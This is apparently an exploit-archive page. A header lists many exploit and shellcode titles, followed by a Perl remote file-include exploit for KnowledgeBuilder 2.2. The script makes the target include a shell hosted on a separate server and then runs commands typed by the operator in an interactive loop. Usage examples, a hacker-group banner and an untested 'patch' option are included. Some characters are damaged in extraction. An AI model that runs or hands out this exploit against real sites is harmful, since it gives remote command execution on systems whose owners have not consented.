880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
126 lines
No EOL
4.4 KiB
Perl
Executable file
126 lines
No EOL
4.4 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/20857/info
|
|
|
|
KnowledgeBuilder is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
|
|
|
|
Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
|
|
|
|
Version 2.2 is vulnerable to this issue; other versions may also be affected.
|
|
|
|
#!/usr/bin/perl
|
|
#
|
|
# knowledgeBuilder v.2.2.php.NuLL-WDYL= Remote File Include Vulnerability
|
|
# Script.............. :knowledgebuilder php.NuLL WDYL
|
|
# Discovered By.... : IGI
|
|
# Expl0iter ........ : Root3r_H3LL # Location .......... : Iran
|
|
# Class.............. : Remote
|
|
# Original Advisory :http://www.Virangar.org & http://Www.PersainFox.com
|
|
# <Spical TNX Irania Hackers :
|
|
# ( Aria-Security , Crouz , DeltaHacking , Iranhackers
|
|
# Kapa TeaM , Ashiyane , Shabgard , Simorgh-ev, Xmors )
|
|
|
|
use LWP::UserAgent;
|
|
use LWP::Simple;
|
|
|
|
$target = @ARGV[0];
|
|
$shellsite = @ARGV[1];
|
|
$shellcmd = @ARGV[2];
|
|
$file = "/admin/e_data/visEdit_control.class.php?visEdit_root=";
|
|
|
|
if(!$target || !$shellsite)
|
|
{
|
|
usage();
|
|
}
|
|
|
|
header();
|
|
|
|
print "Type 'exit' to quit";
|
|
print "[cmd]\$";
|
|
$cmd = <STDIN;
|
|
|
|
while ($cmd !~ "exit")
|
|
{
|
|
$xpl = LWP::UserAgent-new() or die;
|
|
$req =
|
|
HTTP::Request-new(GET=$target.$file.$shellsite.'?&'.$shellcmd.'='.$cmd)
|
|
or die("\n\n Failed to connect.");
|
|
$res = $xpl-request($req);
|
|
|
|
$r = $res-content;
|
|
$r =~ tr/[\n]/[ê]/;
|
|
|
|
if (@ARGV[4] eq "-r")
|
|
{
|
|
print $r;
|
|
}
|
|
elsif (@ARGV[5] eq "-p")
|
|
{
|
|
# if not working change cmd variable to null and apply patch manually.
|
|
$cmd = "echo if(basename(__FILE__) == basename(\$_SERVER['PHP_SELF'])) die(); visEdit_control.class.php";
|
|
print q
|
|
{
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
!! Patch Applied !!
|
|
!! Code added to visEdit_control.class.php: !!
|
|
!! if(basename(__FILE__) == basename($_SERVER['PHP_SELF'])) !!
|
|
!! die(); !!
|
|
!! !!
|
|
!! NOTE: Adding patch function has not been tested. If does not complie or !!
|
|
!! there is an error, simply make cmd = null and add the patch code to !!
|
|
!! visEdit_control.class.php !!
|
|
!! !!
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
}
|
|
}
|
|
else
|
|
{
|
|
print "[cmd]\$";
|
|
$cmd = <STDIN;
|
|
}
|
|
}
|
|
|
|
sub header()
|
|
{
|
|
print q
|
|
{
|
|
................................................................
|
|
.. ..
|
|
.. knowledgebuilder <= Remote File Include Exploit ..
|
|
.. ..
|
|
................................................................
|
|
.. Virangar Under Ground TeaM ..
|
|
.. AND ..
|
|
.. PerSiaNFox NetWork Security TeaM ..
|
|
.. Discovered By : IGI ..
|
|
.. ExPl0iter : Root3r_H3LL ..
|
|
................................................................
|
|
.. Www.Virangar.OrG ..
|
|
.. Www.PerSiaNFox.coM ..
|
|
.. Www.Virangar.NeT ..
|
|
................................................................
|
|
|
|
</\/\\/_ 10\/3 15 1|)\4/\/
|
|
};
|
|
}
|
|
|
|
sub usage()
|
|
{
|
|
header();
|
|
print q
|
|
{
|
|
..............................
|
|
Usage
|
|
|
|
perl Expl0it.pl <Target website <Shell Location <CMD Variable <-r <-p
|
|
<Target Website - Path to target eg: www.SiteName.com
|
|
<Shell Location - Path to shell eg: www.Sh3llserver.com/sh3ll.txt
|
|
<CMD Variable - Shell command variable name eg: cmd
|
|
<r - Show output from shell
|
|
<p - Patch visEdit_control.class.php
|
|
Example
|
|
|
|
perl Expl0it.pl http://SiteName http://Sh3llserver/sh3ll.txt cmd -r -p
|
|
|
|
|
|
};
|
|
exit();
|
|
} |